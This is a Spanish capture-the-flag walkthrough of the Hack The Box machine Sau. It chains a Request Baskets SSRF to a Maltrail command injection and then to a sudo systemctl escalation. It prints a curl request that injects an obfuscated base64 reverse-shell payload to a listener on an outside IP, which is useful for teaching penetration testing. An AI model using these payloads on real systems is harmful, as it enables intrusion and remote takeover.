Sau
En este post estaremos resolviendo la máquina Sau de la plataforma Hack The Box. Esta máquina presenta una versión de Request Baskets vulnerable a SSRF (Server Side Request Forgery) identificada como CVE-2023-27163. Al explotar esta vulnerabilidad, logramos acceder a una instancia de Maltrail que es vulnerable a RCE (Remote Command Execution) la cual no requiere autenticación, permitiéndonos obtener una reverse shell en la máquina victima con el usuario puma. Posteriormente, aprovechamos una mala configuración de sudo para escalar nuestros privilegios y obtener un shell como el usuario root.
Reconocimiento
Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live), en este caso 64.
Enumeración
Descubrimiento de puertos abiertos
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
Parámetros utilizados:
-sS
: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
).--min-rate 5000
: Establece el número mínimo de paquetes que nmap enviará por segundo.-Pn
: Desactiva el descubrimiento de host por medio de ping.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.-oG
: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.
Como podemos observar, el resultado del escaneo nos presenta 4 puertos. Donde el puerto 22
y 55555
estan abiertos y por otra parte los puertos 80
y 8338
estan filtrados.
Enumeración de versión y servicio
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos determinados anteriormente.
Parámetros utilizados:
-sCV
Es la combinación de los parámetros-sC
y-sV
. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.-p-
: Indica que debe escanear todos los puertos (es igual a-p 1-65535
)-oN
: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivotargeted
. En este caso, utiliza el formato por defecto de nmap.-vvv
: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.
Solo por motivos de comodidad, agregamos al archivo /etc/hosts
el dominio sau.htb
para que al apuntar a este nos resuelva la ip de la máquina víctima.
1
❯ echo "10.10.11.224 sau.htb" | tee -a /etc/hosts
Explotación de Request Baskets (SSRF)
Accedemos al sitio web que corre bajo el puerto 55555, podemos ver que la aplicación web es Request Baskets en su versión 1.2.1
.
Si hacemos una búsqueda un Google, encontramos que esta versión es vulnerable a SSRF (Server Side Request Forgery) CVE-2023-27163, la cual afecta al componente de la api de Request Baskets /api/baskets/{name}
. Esto quiere decir, que esta vulnerabilidad permite a los atacantes acceder a recursos de red e información sensible mediante una solicitud API manipulada.
Si creamos una nueva cesta, vemos que en principio esta vacia. Pero si realizamos solicitudes a la url http://sau.htb:55555/kc75t4
como se nos indica, notamos que los detalles de la solicitudes son listados en el panel.
Vemos también que podemos realizar algunas configuraciones, cambiando opciones como Forward URL
.
Si tenemos en cuenta nuestro escaneo inicial de puertos, podemos recordar que el puerto 80
de la máquina victima estaba filtrado. Por lo tanto, podemos probar apuntar a ese puerto de la máquina, indicando como Forward URL el localhost (http://127.0.0.1
). También debemos marcar la casilla Proxy Response
, para que nos redirija las respuestas desde la URL de reenvío (en este caso el localhost).
Si ahora accedemos a la url http://sau.htb:55555/kc75t4
, podemos notar que logramos acceder a un sitio web que en principio no teniamos acceso. De esta manera, logramos aprovecharnos de la vulnerabilidad SSRF, para acceder a un sitio interno.
Explotación de Maltrail - (RCE)
Podemos apreciar en el pie de página de la web, que lo que esta corriendo bajo el puerto 80 es la aplicación Maltrail en su versión v0.53.
Al investigar un poco sobre Maltrail en esta versión especifica, podemos notar que es vulnerable a RCE (Remote Code Execution) Maltrail v0.53.
Reverse Shell - puma
Teniendo en cuenta que la aplicación es vulenrable a RCE, lancemos directamente una reverse shell para ganar acceso al sistema.
En primer lugar, creamos el payload a enviar.
Luego, nos ponemos en escucha con nc
por el puerto 4444.
Enviamos la reverse shell usando curl
.
1
curl http://sau.htb:55555/kc75t4r/login --data 'username=;`echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDEwLjEwLjE0LjYyIDQ0NDQgPi90bXAvZgo=" | base64 -d | sh`'
De esta forma, ganamos acceso al sistema como el usuario puma
.
Hacemos un tratamiento de la tty para tener una terminal más interactiva:
script /dev/null -c bash
- CTRL + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows <rows> columns <columns>
Leemos el flag del usuario.
Escalación de privilegios
Al realizar una enumeración del sistema, observamos que tenemos la capacidad de ejecución con privilegios sudo sin necesidad de proporcionar contraseña. Esto nos permite utilizar la herramienta systemctl
y verificar el estado del servicio trail.service
.
Si realizamos una búsqueda en GTFOBins, podemos ver que se puede abusar de este comando utilizando !sh
para obtener un shell.
Esto sucede, debido a que systemctl
utiliza less
para mostrar el estado de un servicio.
Por ultimo, leemos el flag del usuario root
.
De esta forma, llegamos al final del Write-up de la máquina Sau.
Espero que los conceptos hayan quedado claros. Si has llegado hasta este punto y aún tienes dudas, te recomiendo volver a realizar la máquina.
Gracias por tu lectura!
Happy Hacking!